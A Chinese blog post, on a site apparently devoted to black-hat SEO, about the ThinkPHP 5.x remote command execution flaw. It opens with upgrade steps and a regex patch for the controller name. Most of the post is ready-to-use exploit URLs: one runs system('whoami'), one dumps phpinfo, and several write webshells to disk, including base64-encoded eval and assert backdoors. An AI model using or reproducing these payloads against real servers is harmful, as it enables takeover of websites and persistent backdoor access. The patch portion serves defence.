富贵长生天做主由不得我
钢骨正气我做主由不得天

ThinkPHP 5.x版本远程命令执行漏洞 测式工具及修补方法

如果你使用composer安装,并且一直保持最新版本使用的话,使用下面的指令更新到最新版本即可

composer update topthink/framework

如果你使用了git版本库安装,也请及时更新你所用的仓库版本。

如果各种原因暂时无法更新到最新版本(早期版本升级到最新版本可能存在兼容性问题,请首先参考官方手册的升级指导章节),可以参考下面的方式进行手动修正。

手动修复

5.0版本:在think\App类的module方法的获取控制器的代码后面加上

if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
  throw new HttpException(404, 'controller not exists:' . $controller);
}

5.1版本:在think\route\dispatch\Url类的parseUrl方法,解析控制器后加上

if ($controller && !preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
  throw new HttpException(404, 'controller not exists:' . $controller);
}

1.利用system函数远程命令执行

http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

 

2.通过phpinfo函数写出phpinfo()的信息

http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

3.写入shell:

http://localhost:9096/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php

或者

http://localhost:9096/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo ‘ok’;?>

又或者phpinfo得路径

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=file_put_contents(‘./vendor/shell.php’,base64_decode(‘PD9waHAgJHBhc3M9JF9QT1NUWyd4J107ZXZhbCgkcGFzcyk7Pz4=’))

又或者

/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=eval(base64_decode(%27JGYgPSBmb3BlbigiaS5waHAiLCAidyIpOwokdCA9ICc8P3BocCBiYXNlNjRfZGVjb2RlKFwnWVhOelpYSjBcJykoJF9SRVFVRVNUW1wnaVwnXSk7Pz4nOwpmd3JpdGUoJGYsJHQpOwpmY2xvc2UoJGYpOw==%27))

ThinkPHP_getshell

赞(0)
未经允许不得转载:网站快照劫持代码-快照删除-黑帽SEO » ThinkPHP 5.x版本远程命令执行漏洞 测式工具及修补方法

评论 抢沙发

8 + 4 =
  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址